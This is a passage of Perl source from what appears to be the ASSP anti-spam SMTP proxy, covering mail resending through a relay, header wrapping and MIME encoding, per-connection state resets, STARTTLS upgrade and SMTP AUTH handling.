          mlog(0,"*x*(re)send - $file - using relayHost for not local mail - From: $mailfrom - To: $to")
              if $MaintenanceLog >= 2;
          $host = $relayHost;
          $hostCFGname = 'relayHost';
          my $t = time;
          $Con{$t} = {};
          $Con{$t}->{relayok} = 1;
          $Con{$t}->{mailfrom} = $mailfrom;
          $Con{$t}->{rcpt} = $to;
          $Con{$t}->{header} = $message;
          if ($DoMSGIDsig) {
              if ($message =~ /(Message-ID\:[\r\n\s]*\<[^\r\n]+\>)/io) {
                  my $msgid = $1;
                  my $tag = MSGIDaddSig($t,$msgid);
                  if ($msgid ne $tag ) {
                      $message =~ s/\Q$msgid\E/$tag/i;
                  }
              }
          }

          delete $Con{$t};
      }
      my $localip;
      if ( $islocal && $host eq $smtpDestination && $message =~ /X-Assp-Intended-For-IP: ([^\r\n]+)\r\n/o) {
          $localip = $1;
      }
      if (! $host) {
          mlog(0,"*x*(re)send - $file - no SMTP destination found in config - skip file - From: $mailfrom - To: $to");
          $message = "# (re)send - $file - no SMTP destination found in config - skip file - From: $mailfrom - To: $to\r\n".$message;
          &resendError($file,\$message);
          next;
      }
      my $AVa = 0;
      my $reason;
      foreach my $destinationA (split(/\|/o, $host)) {
          if ($destinationA =~ /^(_*INBOUND_*:)?(\d+)$/o){
              $localip = '127.0.0.1' if !$localip or $localip eq '0.0.0.0';
              if ($crtable{$localip}) {
                  $destinationA=$crtable{$localip};
              } else {
                  $destinationA = $localip .':'.$2;
              }
          }
          if ($AVa<1) {
              mlog(0,"*x*(re)send $file to host: $destinationA ($hostCFGname)") if $MaintenanceLog >= 2;
              eval {
                  my %auth = ($hostCFGname eq 'relayHost' && $relayAuthUser && $relayAuthPass) ? (username => $relayAuthUser, password => $relayAuthPass) : ();
                  my $sender = Email::Send->new({mailer => 'SMTP'});
                  $sender->mailer_args([Host => $destinationA, Hello => $myName, tls => ($hostCFGname eq 'relayHost' && $DoTLS == 2 && ! exists $localTLSfailed{$destinationA}), %auth]);
                  eval{$result = $sender->send($message);};
                  if ($@ && $DoTLS == 2 && $@ =~ /STARTTLS: *50\d/io) {
                      $localTLSfailed{$destinationA} = time;
                      $sender = Email::Send->new({mailer => 'SMTP'});
                      $sender->mailer_args([Host => $destinationA, Hello => $myName, %auth]);
                      $result = $sender->send($message);
                  } elsif ($@) {
                      die "$@\n";
                  }
              };
              if ($@ || !$result) {
                  mlog(0,"*x*error: unable to send file $file to $destinationA ($hostCFGname) - $@") if ($@ && $MaintenanceLog);
                  $@ =~ s/\r?\n/\r\n/go;
                  $@ =~ s/[\r\n]+$//o;
                  $reason .= "# error: unable to send file $file to $destinationA ($hostCFGname) - $@\r\n" if $@;
                  mlog(0,"*x*error: unable to send file $file to $destinationA ($hostCFGname) - $result") if ($result && $MaintenanceLog);
                  $result =~ s/\r?\n/\r\n/go;
                  $result =~ s/[\r\n]+$//o;
                  $reason .= "# error: unable to send file $file to $destinationA ($hostCFGname) - $result\r\n" if $result;
                  mlog(0,"*x**** send to $destinationA ($hostCFGname) didn't work, trying others...") ;
                  $reason .= "# send to $destinationA ($hostCFGname) didn't work, trying others\r\n";
              } else {
                  mlog(0,"*x*info: successful sent file $file to $destinationA ($hostCFGname) - $result") if $MaintenanceLog;
                  $AVa = 1;
                  mlog(0,"*x*warning: unable to delete $file - $!") unless (unlink("$file"));

                  if ( $autoAddResendToWhite > 1 && $islocal && $mailfrom && lc $mailfrom ne 'assp <>' && !&localmail($mailfrom)) {
                      &Whitelist($mailfrom,undef,'add');
                      mlog( 0, "info: whitelist addition on resend via GUI or copied file: $mailfrom" )
                        if $ReportLog || $MaintenanceLog;
                  }

              }
          }
      }
      $message = $reason . $message;
      &resendError($file,\$message);
  }
  return;
}

sub resendError {
     my ($file,$message) = @_;
    
     if ($eF->( $file)) {
          $ResendFile{$file} = 0 if (! exists $ResendFile{$file});
          if (++$ResendFile{$file} > 10) {
              mlog(0,"*x*error: send $file aborted after $ResendFile{$file} unsuccessful tries") if $MaintenanceLog;
              delete $ResendFile{$file};
              $file =~ s/\\/\//go;
              if ($eF->( $file.'.err')) {
                  mlog(0,"*x*warning: unable to delete $file.err - $!") unless ($unlink->($file.'.err')) ;
              }
              mlog(0,"*x*warning: unable to rename $file to $file.err - $!") unless ($rename->($file,$file.'.err'));
              if ($open->(my $MF,'>',$file.'.err.modified')) {
                 $MF->binmode;
                 $MF->print($$message);
                 $MF->close;
                 mlog(0,"*x*warning: the modified content of file $file was stored in to file $file.err.modified") if $MaintenanceLog;
              }
          }
      } else {
          delete $ResendFile{$file};
      }
}

# wrap too long bodys
sub bodyWrap {
    my $cont = shift;
    my $max = shift;
    d('bodyWrap');
    my $body = substr($$cont,0,$max);
    return \$body if $body =~ /[\x7F-\xFF]/o;  # binary data
    $body =~ s/\n+[^\n]+$/\n/o;              # remove last unterminated line
#    $body =~ s/([^\r\n]{100,200}\s|[^\r\n\s]{1,100}\s*)/$1\r\n/go;   # wrap
    return \$body;
}

# wrap long headers
sub headerWrap {
  my $header=shift;
  d('headerWrap');
  $header=~s/(?:([^\r\n]{60,75}?;)|([^\r\n]{60,75}) ) {0,5}(?=[^\r\n]{10,})/$1$2\r\n\t/g;

  return $header;
}

# unwrap long header (in place)
sub headerUnwrap {
  $_[0]=~s/\015\012[ \t]+//g;
}

sub headerFormat {
    my $text = shift;
    $text =~ s/(?:\r*\n)+/\r\n/gos;
    return headerWrap($text) if &is_7bit_clean($text);
    my $org = $text;

    eval{
         $text = join("\r\n", map{headerWrap(MIME::Words::encode_mimewords(&decodeMimeWords2UTF8($_),('Charset' => 'UTF-8')));} split(/\r?\n/o,$text));
         $text .= "\r\n" if $text !~ /\r\n$/o;
         $text =~ s/(?:\r?\n)+/\r\n/go;
    };
#    eval{$text = headerWrap(MIME::Words::encode_mimewords(&decodeMimeWords($text),('Charset' => 'UTF-8')));};

    if ($@) {
       my $hint; $hint = "- **** please install the Perl module MIME::Tools (includes MIME::Words) via 'cpan install MIME::Tools' (on nix/mac) or 'ppm install MIME-Tools' (on win32)"
           if $@ =~ /Undefined subroutine \&MIME::Words::encode_mimewords/io;
       mlog(0,"warning: MIME encoding for our ASSP header lines failed - $@ $hint") if ! $IgnoreMIMEErrors;
       eval{
           $text = join("\r\n", map{headerWrap(&encodeMimeWord(&decodeMimeWords2UTF8($_),'B','UTF-8'));} split(/\r?\n/o,$text));
           $text .= "\r\n" if $text !~ /\r\n$/o;
#           $text = headerWrap(&encodeMimeWord(&decodeMimeWords2UTF8($text),'Q','UTF-8'));
       };
       if ($@) {
           $org .= "\r\n" if $org;
           $org =~ s/(?:\r?\n)+/\r\n/go;
           return $org;
       }
    }
    $text =~ s/\=\?UTF\-8\?Q\?\=20\?\=/ /gio;    # revert unneeded MIME-encoding of a single space ????
    $text =~ s/\=\?UTF\-8\?Q\?\?\=//gio;    # revert unneeded MIME-encoding of an empty line ????
    $text .= "\r\n" if $text;
    $text =~ s/(?:\r?\n)+/\r\n/go;
    return $text;
}

# compile the regular expression for forcing the usage of RCPT TO
sub setLHNRE {
    my @h;
    foreach my $h ( split( /\|/, $_[0] ) ) {
        push( @h, $h );
    }
    my @s;
    push( @s, 'localhost' );             # 'localhost' alias
    push( @s, '127.0.0.1' );             # loopback interface address
    push( @s, join( '|', @h ) ) if @h;
    my $s = join( '|', @s );
    $s ||= '^(?!)';                      # regexp that never matches
    SetRE( 'LHNRE', "^($s)\$", 'i', 'Local Host Names' );
}
# compile the regular expression for the local host names
sub setVFRTRE {
    my @h;
    foreach my $h ( split( /\|/, $_[0] ) ) {
        push( @h, $h );
    }
    my @s;
 
    push( @s, join( '|', @h ) ) if @h;
    my $s = join( '|', @s );
    $s ||= '^(?!)';                      # regexp that never matches
    SetRE( 'VFRTRE', "^($s)\$", 'i', 'RCPT TO Names' );
}
# compile the regular expression for the 'allowadmin from hostnames'
sub setAARE {
    my @h;
    foreach my $h ( split( /\|/, $_[0] ) ) {
        push( @h, $h );
    }
    my @s;
 
    push( @s, join( '|', @h ) ) if @h;
    my $s = join( '|', @s );
    $s ||= '^(?!)';                      # regexp that never matches
    SetRE( 'AARE', "^($s)\$", 'i', 'Allow Admin Names' );
}
# compile the regular expression for the bounce senders addresses
sub setBSRE {
    my ( @uad, @u, @d );
    foreach my $a ( split( /\|/, $_[0] ) ) {
        if ( $a =~ /\S\@\S/ ) {
            push( @uad, $a );
        } elsif ( $a =~ /^\@/ ) {
            push( @d, $a );
        } else {
            push( @u, $a );
        }
    }
    my @s;
    push( @s, '^\s*$' );                                   # null sender address
    push( @s, '^(' . join( '|', @uad ) . ')$' ) if @uad;
    push( @s, '^(' . join( '|', @u ) . ')@' ) if @u;
    push( @s, '(' . join( '|', @d ) . ')$' ) if @d;
    my $s = join( "|", @s );
    $s = '<not a valid list>' unless $s;
    SetRE( 'BSRE', $s, 'i', "Bounce Senders" );
}



sub stateReset {
    my $fh   = shift;
    my $this = $Con{$fh};
    d("stateReset");
	%{$this->{Xheaders}} = ();
	undef %{$this->{Xheaders}};
	delete $this->{Xheaders};
	
    $this->{acceptall}              = '';
    $this->{accBackISPIP}           = '';
    $this->{addMSGIDsigDone}        = '';
    $this->{addressedToPenaltyTrap} = '';
    $this->{addressedToSpamBucket}  = '';

    $this->{alllog}                 = '';
    $this->{attachcomment}          = '';
    $this->{attachdone}             = '';
    $this->{averror}                = '';
    $this->{backsctrdone}           = '';
    $this->{badnorm}                = '';
    $this->{baysprob}               = '';
    $this->{bayeslowconf}           = '';
    $this->{baystestmode}           = '';
    $this->{baysspamhaters}			= '';
    $this->{blackdomainscore}		= '';
    $this->{BlackDomainOK}			= '';
    $this->{bombdone}               = '';
    $this->{bombheaderdone}         = '';
    $this->{ccheader}               = '';
    $this->{ccdone}                 = '';
    $this->{charsetsdone}			= '';
    $this->{cip}                    = '';
    $this->{ciphelo}                = '';
    $this->{cipdone}                = '';
    $this->{clamscandone}           = '';
    $this->{contentonly}            = '';
    $this->{data}                   = '';
    $this->{delaydone}              = '';
    $this->{delayed}                = '';
    $this->{destination}            = '';
    $this->{dlslre}                 = '';
    $this->{isbomb}		= '';
    $this->{forgedHeloOK}           = '';
    $this->{forgedhelodone}         = '';
    $this->{formathelodone}         = '';
    $this->{from} 					= '';
    $this->{gripdone}               = '';
    $this->{hamcopydone}			= '';
    $this->{header}                 = '';
    $this->{headerlength}           =  0;
    $this->{invalidHeloOK}          = '';
    $this->{suspiciousHeloOK}		= '';
    $this->{invalidSRSBounce}       = '';


    $this->{isbounce}               = '';
    $this->{ispip}                  = '';
    $this->{ismaxsize}              = '';
    $this->{isvrfy}                 = '';
    $this->{localSenderOK}          = '';
    $this->{localsenderdone}        = '';
    $this->{localuser}              = '';
    $this->{localmail}              = '';
    $this->{logrecord}              = '';
    $this->{logsubject}				= '';
    $this->{maximumuniqueuri}       = '';
    $this->{maximumuri}             = '';
    $this->{messagelow}             = '';
    $this->{messagereason}          = '';
    $this->{messagescore}           = '';

    $this->{messagescoredone}   = '';
    $this->{messagesize}        = '';
    $this->{msgid}              = '';
    $this->{msgiddone}          = '';
    $this->{myheader} = $this->{myheaderCon};
    $this->{myheaderdone}		= '';
	$this->{newsletterre}		= '';
    $this->{nobayesian}         = '';
    $this->{nocollect}          = '';
    $this->{nodelay}            = '';
    $this->{nohelo}             = '';
    $this->{nopb}               = '';
    $this->{nopbwhite}          = '';
    $this->{noprocessing}       = '';
    $this->{noprocessingreason} = '';
    $this->{noscan}             = '';
    $this->{notvalidhelofound}  = '';
    $this->{obfuscatedip}       = '';
    $this->{obfuscateduri}      = '';

    $this->{pbblack}            = '';
    $this->{pbwhite}            = '';
    $this->{prepend}            = '';
    $this->{prvs}				= '';
    $this->{rblcachedone}       = '';
    $this->{rbldone}            = '';
    $this->{rblfail}            = '';
    $this->{rblneutral}         = '';
	$this->{received} 			= '';
    $this->{rcptnoprocessing}   = '';
    $this->{rcpt}               = '';
    %{$this->{rcptlist}} = (); undef %{$this->{rcptlist}}; delete $this->{rcptlist};
    $this->{redsl}              = '';
    $this->{red}                = '';
    $this->{rwlok}              = '';
    $this->{sattachdone}        = '';
    $this->{saveprepend2}       = '';
    $this->{saveprepend}        = '';
    $this->{sayMessageOK}       = '';
    $this->{externalsenderok}   = '';
    $this->{senderok}           = '';
    @{$this->{senders}} = (); undef @{$this->{senders}}; delete $this->{senders};
    $this->{serverErrors}		=  0;
    $this->{spamconf}           = '';
    $this->{spamfound}          = '';
    $this->{spamloverdone}      = '';
    $this->{spamlover}          = '';
    $this->{spamloverall}       = '';
    $this->{spamloversre}       = '';
    $this->{spamMaxScore} 		= undef;
    $this->{spamprob}           = '';
    $this->{spamfriends}		= '';
    $this->{spamfriendsdone}	= '';
	$this->{spamfoes}			= '';
    $this->{spfok}              = '';
    $this->{spfdone}			= '';
    $this->{srs}				= '';
    $this->{strictsl}			= '';
    $this->{subjectsl}			= '';
	$this->{subject}			= '';
	$this->{subject3}			= '';
    $this->{StatsmsgDelayed} 	= '';
    $this->{tagmode}         	= '';
    $this->{testmode}        	= '';
    $this->{test}				= '';
    $this->{uriblneutral}       = '';
    $this->{userTempFail}	 	= '';
    $this->{validHeloOK}     	= '';
    $this->{validhelodone}   	= '';
    $this->{whitelisted}     	= '';
    $this->{whiteokdone}	 	= '';
    $this->{mailfrom}        	= '';
    $this->{okcache}		 	= '';

    $this->{noMoreQueue} = '';
    $this->{qdata} = '';
        $this->{IPinHeloOK} = '';
        $this->{BlackDomainOK} = '';
        %{$this->{NoSpoofingOK}} = (); delete $this->{NoSpoofingOK};
        $this->{RWLok} = '';
        $this->{FromStrictOK} = '';
        $this->{SPFok} = '';
        $this->{BombHeaderOK} = '';
        $this->{HeloBlackOK} = '';
        $this->{MXAOK} = '';
        $this->{PTROK} = '';
        $this->{ScriptOK} = '';
        $this->{originalsubject} = '';
        $this->{subject} = '';
        $this->{subject2} = '';
        $this->{subject3} = '';
        %{$this->{Xheaders}} = (); undef %{$this->{Xheaders}}; delete $this->{Xheaders};
	$this->{allwhitelist}     = 0;
    $this->{allLoveSpam}      = 0;
    $this->{allLoveBaysSpam}  = 0;
    $this->{allLoveBlSpam}    = 0;
    $this->{allLoveSBSpam}    = 0;
    $this->{allLovePBSpam}    = 0;
    $this->{allLoveISSpam}    = 0;
    $this->{allLovePTRSpam}   = 0;
    $this->{allLoveHlSpam}    = 0;
    $this->{allLoveSPFSpam}   = 0;
    $this->{allLoveRBLSpam}   = 0;
    $this->{allLoveSRSSpam}   = 0;
    $this->{allLoveDLSpam}    = 0;
    $this->{allLoveMXASpam}   = 0;
    $this->{allLoveBombsSpam} = 0;
    $this->{allLoveURIBLSpam} = 0;
    $this->{allLoveBaysSpam}  = 0;
    $this->{spamloversonly} = '';

    $this->{spamMaxScore} = undef;

    $this->{XCLIENT} = $this->{saveXCLIENT} if exists $this->{saveXCLIENT};
    $this->{XFORWARD} = $this->{saveXFORWARD} if exists $this->{saveXFORWARD};

    delete $this->{reportaddr};
    $this->{SIZE} = 0;

    $this->{reporttype} = -1;
    my $fn = $Counter++ % 99999;
#    $this->{fn}         = maillogNewFileName();


    $this->{msgtime} = '';
    $this->{msgtime} = $uniqueIDPrefix if $uniqeIDLogging && $uniqueIDPrefix;
    my $tstamp = substr( time(), 1, 5 );

    $this->{uniqueid} = sprintf( "%05d-%05d", $tstamp, $fn);
    $this->{msgtime} .= $this->{uniqueid} if $uniqeIDLogging;

	$this->{fn}         = $this->{uniqueid};
	$this->{mailInSession}++ if $this->{lastcmd} =~ /mail from/io;
}
# dropreply
# read from server, but ignore it

sub dropreply {
    my ($fh, $l) = @_;
    my $this = $Con{$fh};
    d("dropreply: $l");
    if ($l =~ /^250 .*/) {
        $this->{getline} = \&reply;
    }
}


# a line of input has been received from the smtp client
sub getline {
    my ( $fh, $l ) = @_;
    d('getline');
    my $this   = $Con{$fh};
    my $server = $this->{friend};
    my $friend=$Con{$server};
    my $reply;
    d("gl: <$l>");

    if ( $l =~ /HTTP POST/io ) {
        mlog( $fh, "HTTP POST command", 1 );
    }
    


    if ($Con{$server}->{mtaSSLfailed}) {
        sendque($fh, "451 4.7.1 Local configuration error, please try again later\r\n");
        return;
    }
    if (exists $SSLfailed{$this->{ip}} or
			&matchIP($this->{ip},'noTLSIP',$fh,1) or
			matchFH($fh,@lsnNoTLSI)) {

    	$this->{SSLnotOK} = $this->{ip};

    } 
    
    
    if ( $l =~ /^ *(helo|ehlo) .*?([^<>,;\"\'\(\)\s]+)/i ) {
        $this->{greeting} = $1;
        my $helo  = $2;
        my $helo2 = $helo;

        $this->{cliSSL}=0;
        $helo =~ s/(\W)/\\\$1/g;
        $this->{helo} = $helo2;
        my $ptr;
        if (! $this->{relayok}) {
            $ptr = $this->{PTR};
            if (! $ptr && $this->{ip} !~ /(?:127\.0\.0\.1|::1)$/io) {
                $this->{PTR} = $ptr = getRRData($this->{ip},'PTR');
            }
            $this->{PTR} = $ptr = $localhostname || 'localhost' if (! $ptr && $this->{ip} =~ /(?:127\.0\.0\.1|::1)$/io);
            mlog($fh,"IP:$this->{ip} PTR: $ptr") if !$helo2;
        } elsif ($HideIPandHelo) {
            my %fake;
            $fake{$1} = $2 while (lc $HideIPandHelo =~ /(ip|helo)\s*=\s*([\S]*)/iog);
            $helo2 = $fake{helo} if exists $fake{helo};
            $this->{rcvd} =~ s/\[$IPRe\]/[$fake{ip}]/o if exists $fake{ip};
        }
        $ptr =~ s/\.$//o;
        if ($ptr) {
            $this->{rcvd}=~s/=host/$ptr/o;
        } else {
            $this->{rcvd}=~s/=host/$helo2/o;
        }
        $this->{rcvd}=~s/=\)/=$helo2\)/o;
        
        
        my $prot = ("$fh" =~ /SSL/io) ? 'SMTPS' : 'SMTP';
        $prot = 'E' . $prot if lc($this->{greeting}) eq 'ehlo';
        $this->{rcvd} =~ s/\*SMTP\*/$prot/o;
        $this->{rcvd} = &headerWrap( $this->{rcvd} );    # wrap long lines
        $l = "$this->{greeting} $localhostname\r\n" if $myHelo == 2 && $localhostname;
        $l = "$this->{greeting} $myName\r\n" if $myHelo && ($myHelo == 1 or !$localhostname);
	} elsif ( $CanUseIOSocketSSL  &&
			!$this->{SSLnotOK} && 

			($l =~ /STARTTLS/io  )
			) {

   		$this->{messagereason} = 'SSL/TLS-connection-OK';


        # write directly to $fh, bypassing buffering
        $fh->write("220 2.0.0 Ready to start TLS\r\n");

        # the value of $fh changes when converted to SSL
        my $oldfh = "" . $fh;
		$IO::Socket::SSL::DEBUG = $SSLDEBUG;
        # stop watching old filehandle
        $readable->remove($fh);
        $writable->remove($fh);

        # convert to SSL
		my $try = 4;
        eval{$fh->blocking(1);};
        my $ssl = IO::Socket::SSL->start_SSL(
                $fh,
                SSL_key_file  => $SSLKeyFile,
                SSL_cert_file => $SSLCertFile,
                SSL_use_cert  => 1,
                SSL_server    => 1,
                Timeout       => $SSLtimeout
        );
    while ($try-- && "$ssl" !~ /SSL/io && ($IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_READ') ? 1 : $IO::Socket::SSL::SSL_ERROR == eval('SSL_WANT_WRITE') ) && $SSLRetryOnError)
    	{
    	Time::HiRes::sleep(0.5);
    	$ssl = IO::Socket::SSL->start_SSL(
                $fh,
                SSL_key_file  => $SSLKeyFile,
                SSL_cert_file => $SSLCertFile,
                SSL_use_cert  => 1,
                SSL_server    => 1,
                Timeout       => $SSLtimeout
        );
        }
        
        if ("$ssl" =~ /SSL/i) {
        	eval{$ssl->blocking(0);};
    	} else {
        	eval{$fh->blocking(0);};
    	}
        if (!$ssl || $fh !~ /IO::Socket::SSL/) {
        	my $error = IO::Socket::SSL::errstr();
            mlog($oldfh, "SSL negotiation with client failed: $error") if $SSLLog;
            

      		setSSLfailed($Con{ $this->{ip} });
            $readable->add($fh);
            return;
        }
        if (!$Con{$server}->{mtaSSL}) {
            mlog($oldfh, "warning: SSL to client on port $this->{localport} but no SSL to our MTA") if $SSLLog>=2;
        }

        # update Received: header to show SSL
        $this->{rcvd} =~ s/( with SMTP[0-9]+)/$1+SSL/;

        # copy data from old $fh
        $Con{$fh}           = $Con{$oldfh};
        $Con{$fh}->{client} = $fh;
        $SMTPSession{$fh}   = $SMTPSession{$oldfh};

        # clean up old $fh
        delete $Con{$oldfh};
        delete $SocketCalls{$oldfh};
        delete $SMTPSession{$oldfh};

        # set up new $fh
        $SocketCalls{$fh} = \&SMTPTraffic;
        $readable->add($fh);

        d("SSL: $fh $Con{$fh}");
        return;
       
	} elsif($l=~/^(\s*AUTH([^\r\n]*))\r?\n/io) {
        my $ffr = $1;
        my $authmeth = $2;

        my $ip = &ipNetwork( $this->{ip}, 1);
        if ($MaxAUTHErrors 
    	&& !$this->{relayok}
    	&& !$this->{nopb}
        && !$this->{noblockingips}
        && !$this->{ispip}
        && !$this->{noprocessing}
        && !$this->{whitelisted}
		&& !$this->{acceptall} 
        && $AUTHErrors{$ip} > $MaxAUTHErrors) {
            $this->{prepend}='[MaxAUTHErrors]';
            NoLoopSyswrite($fh,"521 $myName does not accept mail - closing transmission - too many previouse AUTH errors from network $ip\r\n");
            mlog($fh,"too many ($AUTHErrors{$ip}) AUTH errors from network $ip") if $ConnectionLog;
            pbAdd( $fh, $this->{ip}, 'autValencePB', 'AUTHErrors' ) if ! matchIP($this->{ip},'noPB',0,1);
            $AUTHErrors{$ip}++;
            done($fh);
            return;
        }

        if ($CanUseIOSocketSSL &&

            ! $SSLfailed{$this->{ip}} &&
            $friend->{donotfakeTLS} &&
            ! $this->{gotSTARTTLS} &&
            ! $this->{TLSqueue} &&
            "$server" !~ /SSL/io &&
            ! &matchIP($this->{ip},'noTLSIP',$fh,1) &&
            ! &matchFH($fh,@lsnNoTLSI)
        ) {
            NoLoopSyswrite($server,"STARTTLS\r\n");
            $friend->{getline} = \&replyTLS;
            $this->{TLSqueue} = $ffr;
            mlog($fh,"info: injected STARTTLS request to " . $server->peerhost()) if $ConnectionLog;
            return;
        }
        $authmeth =~ s/^\s+//o;
        $authmeth =~ s/\s+$//o;
        if ($authmeth =~ /(plain|login)\s*(.*)/io) {
            $authmeth = lc $1;
            my $authstr = base64decode($2);
            mlog($fh,"info: authentication - $authmeth is used") if $ValidateUserLog;
            if ($authmeth eq 'plain' and $authstr) {
                ($this->{userauth}{foruser},$this->{userauth}{user},$this->{userauth}{pass}) = split(/ |\0/so,$authstr);
                $this->{userauth}{stepcount} = 0;
                $this->{userauth}{authmeth} = 'plain';
                if ($AUTHLogUser) {
                    my $tolog = "info: authentication (PLAIN) realms - foruser:$this->{userauth}{foruser}, user:$this->{userauth}{user}";
                    $tolog .= ", pass:$this->{userauth}{pass}" if $AUTHLogPWD;
                    mlog($fh,$tolog);
                }
            } elsif ($authmeth eq 'plain' and ! $authstr) {
                $this->{userauth}{stepcount} = 1;
                $this->{userauth}{authmeth} = 'plain';
            } elsif ($authmeth eq 'login' and $authstr) {
                $this->{userauth}{user} = $authstr;
                $this->{userauth}{stepcount} = 1;
                $this->{userauth}{authmeth} = 'login';
            } else {
                $this->{userauth}{stepcount} = 2;
                $this->{userauth}{authmeth} = 'login';
            }
        }
        $this->{lastcmd} = 'AUTH';
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        $this->{doneAuthToRelay} = 1;
        sendque($server,$l);
        return;

    } elsif ($this->{userauth}{stepcount}) {
        if ($this->{userauth}{authmeth} eq 'plain') {
            $this->{userauth}{stepcount} = 0;
            $l =~ /([^\r\n]*)\r\n/o;
            my $authstr = base64decode($1);
            ($this->{userauth}{foruser},$this->{userauth}{user},$this->{userauth}{pass}) = split(/ |\0/o,$authstr);
            if ($AUTHLogUser) {
                my $tolog = "info: authentication (PLAIN) realms - foruser:$this->{userauth}{foruser}, user:$this->{userauth}{user}";
                $tolog .= ", pass:$this->{userauth}{pass}" if $AUTHLogPWD;
                mlog($fh,$tolog);
            }
            sendque($server,$l);
            return;
        } elsif ($this->{userauth}{stepcount} == 2) {
            $this->{userauth}{stepcount} = 1;
            $l =~ /([^\r\n]*)\r\n/o;
            $this->{userauth}{user} = base64decode($1);
            sendque($server,$l);
            return;
        } else {
            $this->{userauth}{stepcount} = 0;
            $l =~ /([^\r\n]*)\r\n/o;
            $this->{userauth}{pass} = base64decode($1);
            if ($AUTHLogUser) {
                my $tolog = "info: authentication (LOGIN) realms - user:$this->{userauth}{user}";
                $tolog .= ", pass:$this->{userauth}{pass}" if $AUTHLogPWD;
                mlog($fh,$tolog);
            }
            sendque($server,$l);
            return;
        }
	} elsif(&syncCanSync() && $enableCFGShare && $isShareSlave && $l=~/^ *ASSPSYNCCONFIG\s*([^\r\n]+)\r\n/o ) {
        my $pass = $1;
        mlog(0,"info: got ASSPSYNCCONFIG request from $this->{ip}") if $ConnectionLog >=2;
        $this->{lastcmd} = 'ASSPSYNCCONFIG';
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        my @tservers = split(/\|/o, $syncServer);
        my @servers;
        my %se;
        foreach (@tservers) {
            s/\s//go;
            s/\:\d+$//o;
            if ($_ =~ /^$IPRe$/o) {
                push(@servers, $_);
                $se{$_} = $_;
                next;
            }
            my $ip = eval{inet_ntoa( scalar( gethostbyname($_) ) );};
            if ($ip) {
                push(@servers, $ip);
                $se{$ip} = $_;
                next;
            } else {
                mlog(0,"syncCFG: error - unable to resolve ip for syncServer name $_ - $@");
            }
        }
        if (! @servers or ! (@servers = grep { $this->{ip} eq $_ } @servers )) {
            NoLoopSyswrite( $fh, "502 $this->{lastcmd} not implemented $this->{ip} - @servers\r\n" );
            mlog($fh,"syncCFG: error - got 'ASSPSYNCCONFIG' command from wrong ip $this->{ip}");
            done($fh);
            return;
        }
        if (Digest::MD5::md5_base64($syncCFGPass) ne $pass) {
            NoLoopSyswrite( $fh, "500 $this->{lastcmd} wrong authentication - check you configuration\r\n" );
            mlog($fh,"syncCFG: error - got wrong password in 'ASSPSYNCCONFIG' command from $this->{ip}");
            done($fh);
            return;
        }
        done2($server);
        my $ip = $this->{ip};
        $this->{syncServer} = $se{$ip};
        $this->{getline} = \&syncRCVData;
        NoLoopSyswrite($fh,"250 OK start the config sync\r\n");
        return;
    } elsif($l=~/^ *ASSPSYNCCONFIG\s*([^\r\n]+)?\r\n/o ) {
        my $pass = $1;
        mlog(0,"info: got ASSPSYNCCONFIG request from $this->{ip}") if $ConnectionLog >=2;
        $this->{lastcmd} = 'ASSPSYNCCONFIG';
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        if (Digest::MD5::md5_base64($syncCFGPass) ne $pass) {
            NoLoopSyswrite( $fh, "502 $this->{lastcmd} not implemented\r\n" );
            mlog($fh,"syncCFG: error - got syncCFG request, but this is not an 'isShareSlave' and got wrong password in 'ASSPSYNCCONFIG' command from $this->{ip}");
            done($fh);
            return;
        }
        NoLoopSyswrite( $fh, "500 $this->{lastcmd} - sync peer $this->{ip} is not registered on $myName or this is not an isShareSlave\r\n" );
        mlog($fh,"syncCFG: error - got 'ASSPSYNCCONFIG' command from ip $this->{ip} - the request will be ignored - check your configuration");
        done($fh);
        return;
     
        } elsif ($l=~/^ *($notAllowedSMTP)/io) {
        $this->{lastcmd} = $1;
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;
        $this->{prepend}="[unsupported_$this->{lastcmd}]";
        mlog($fh,"$this->{lastcmd} not allowed");
        if(! $this->{relayok} && $MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
            delayWhiteExpire($fh);
            NoLoopSyswrite( $fh, "502 $this->{lastcmd} not supported\r\n421 <$myName> closing transmission\r\n" );
            $this->{prepend}="[MaxErrors]";
            $this->{messagereason}="max errors ($MaxErrors) exceeded";
            mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection after $this->{lastcmd}");
            pbAdd($fh,$this->{ip},'meValencePB',"MaxErrors",0);
            $Stats{msgMaxErrors}++;
            done($fh);
            return;
        }
        sendque($fh, "502 $this->{lastcmd} not supported\r\n");
        return;  
        
    } elsif ( $l =~ /mail from:\s*<?($EmailAdrRe\@$EmailDomainRe|\s*)>?/io or
$l =~ /SMTP-AUTH/io) {	 # ### BvD: 18-MAR-2010

        my $RO_e = $1;
        
        $RO_e = "$RO_e" . "@" . "$defaultLocalHost" if $defaultLocalHost && $RO_e !~ /\@/i;
		my $fr   = $RO_e;
		
        stateReset($fh);
        if  ($l =~ /mail from/i) {
        	$this->{lastcmd} = 'MAIL FROM';

        	if($EnforceAuth && &matchFH($fh,@lsn2I)  && !($this->{relayok}) ) {
            	NoLoopSyswrite($fh,"530 5.7.0 Authentication required\r\n");
            	mlog($fh,"$fr submitted without previouse AUTH on listenPort2",1);
            	done($fh);
            	return;
    		}
    	
    		if($EnforceAuthSSL && &matchFH($fh,@lsnSSL)  && !($this->{relayok}) ) {
        		NoLoopSyswrite($fh,"530 5.7.0 Authentication required\r\n");
        		mlog($fh,"$fr submitted without previouse AUTH",1);
            	done($fh);
            	return;
    		}
    	}
    	
    	
# authentication on relayserver
        if ($CanUseAuthenSASL &&
        	! $this->{doneAuthToRelay} &&
            $this->{relayok} &&
            scalar keys %{$this->{authmethodes}} &&
            $relayAuthUser &&
            $relayAuthPass
           )
        {
            $this->{doneAuthToRelay} = 1;
            $this->{doneAuthToRelay} = 1;
            $this->{sendAfterAuth} = $l;
            foreach ('PLAIN','LOGIN','CRAM-MD5','DIGEST-MD5') {
                $this->{AUTHmechanism} = $_ if exists $this->{authmethodes}->{$_};
            }
            $this->{AUTHmechanism} = 'PLAIN' unless $this->{AUTHmechanism};
            mlog($fh,"info: starting authentication - AUTH $this->{AUTHmechanism}") if $SessionLog >= 2;
            $this->{AUTHclient} =
                Authen::SASL->new(
